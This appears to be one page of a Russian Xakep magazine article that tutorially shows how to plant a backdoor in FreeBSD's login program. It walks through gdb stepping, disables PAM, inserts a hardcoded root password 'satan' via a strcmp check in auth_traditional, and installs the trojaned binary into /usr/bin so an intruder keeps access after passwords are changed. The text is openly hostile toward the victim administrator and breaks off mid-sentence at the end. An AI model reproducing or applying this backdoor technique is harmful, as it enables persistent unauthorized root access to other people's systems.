Слепой админ

Xakep, номер #020, стр. 020-056-2


Теперь ставим break 1. Это для того, чтобы, когда мы запустим прогу,

в дебаггере она остановилась на первой строчке кода. Иначе она

выполнится вся сразу, что нам совершенно не надо. -)

(gdb)break 1

Breakpoint 1 at 0x8049894: fili login.c, line 1

Теперь запускаем ее и двигаемся вперед до тех пор

Пока, нас не запросят ввести пароль.

(gdb)run

Starting program: /usr/src/usr.bin/login/login

Breakpoint 1, main (argc=-272638616, argv=0x0) at login.c:130

130 {

(gdb)step

(gdb) [жмем ентер до тех пор, пока не потребуют ввести пароль]

Если на строках 278,277 или вообще на каких-нибудь других получается круговорот,

выйди из gdb. Запусти его снова, но в этот раз уже поставь break на строчку

выше. В моем случае это - 279.

И опять же двигайся step-ами. -)

Итак, смотрим, куда кладется наш пароль...

(gdb)

657 e=pam_authenticate(pamh,0);

(gdb)

Passwd:

(gdb)

Вот тут становится понятно, что используется ф-ия pam_authenticate.

Эта аутентификация не катит. -) Хотя можно и ее переколбасить. Но мы не

ищем легких путей! Выходим из gdb и редактируем Makefile снова. -)

Дописываем в строку, начинающуюся с CFLAGS+=

-DNO_PAM

Сохраняем Makefile, стираем старый 'login' и компилим login заново:

bash#rm login

bash#rm *.o

bash#make

Грузим gdb и делаем то же самое, что и в прошлый раз...

Опа, теперь уже другая ф-ия. -)

(gdb)

609 p=getpass("Password:");

(gdb)

Password:

Она-то нас и устраивает. -) 609 означает, что эта строчка

номер 609 файла login.c .

Выходим из gdb и открываем login.c .

Жмем 609 раз клавишу вниз. -))))

И смотрим, что же там происходит...

Ну, сразу становится понятно, что основная функция - auth_traditional().

Она криптует полученный от пользователя пароль и сверяет его с паролем,

который в базе. И в конце возвращает переменную типа интегер со значением

0, если пароль верный, и 1, если не верный.

Супер. Создаем внутри этой ф-ии массив gotroot, в котором будет

храниться наш собственный пароль-)

Для этого, в моем случае, чуть выше 609 строки под 'char *salt'

я добавляю новую:

char gotroot[]="satan";

Пароль будет "satan". -) Теперь спускаемся чуть ниже... -)

Туда, где кончается функция auth_traditional и возвращается значение rval...

И прямо над строкой

memset(p,0,strlen(p);

дописываем новую -)

if(strcmp(p,gotroot)==NULL)

rval=0;

Сохраняем login.c, стираем старые откомпиленные и создаем новый login. -)

bash#rm login

bash#rm *.o

bash#make

Ну вот, практически и все, gdb нам больше не понадобится. Теперь

давай проверим, все ли мы сделали так, как надо. -)

bash#./login

login:root

Password:satan

Wellcome to FreeBSD

You have mail.

#id

uid=0(root) gid=0(wheel) groups=0(wheel)

#

Упс! -) Пашет! -) Но прежде чем закидывать новый login в /usr/bin,

сотри его сначала. Да-да, сотри...

bash#rm login

bash#rn *.o

И убери в файле Makefile флаг -g3... После чего компиль заново

и кидай в /usr/bin .

bash#make

bash#mv login /usr/bin/

Готово. -) Теперь, если даже админ и просечет, что ты изнасиловал его

тачку и сменит все пароли, - тебе по фигу. Пароль "satan" подойдет в любом случае.

Я, правда, исключаю тот случай, что у администратора хватит мозгов переставить все

Назад на стр. 020-056-1  Содержание  Вперед на стр. 020-056-3